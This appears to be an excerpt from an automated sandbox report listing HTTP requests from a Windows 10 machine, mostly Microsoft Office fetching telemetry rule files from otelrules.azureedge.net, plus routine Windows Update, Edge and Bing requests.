Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732122508&P2=404&P3=2&P4=X1V6XLng9kTQtbZepnIxFyYtwS3UqC76SAcAdzWCfUlY%2fH5OBII%2bw6yifKaGhsaSdFkLhDHeuydRv4jelE7qsg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: /mc4iofeV405U4EPyk9IqeSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=hgDWNmKv8dUwGCA&MD=dceTccfA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bloomfilterfiles/ExpandedDomainsFilterGlobal.json HTTP/1.1Host: www.bing.comConnection: keep-aliveCookie: ANON=; MUID=28116A1F6C666513052C7F296D6E64D8;_RwBf=;Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
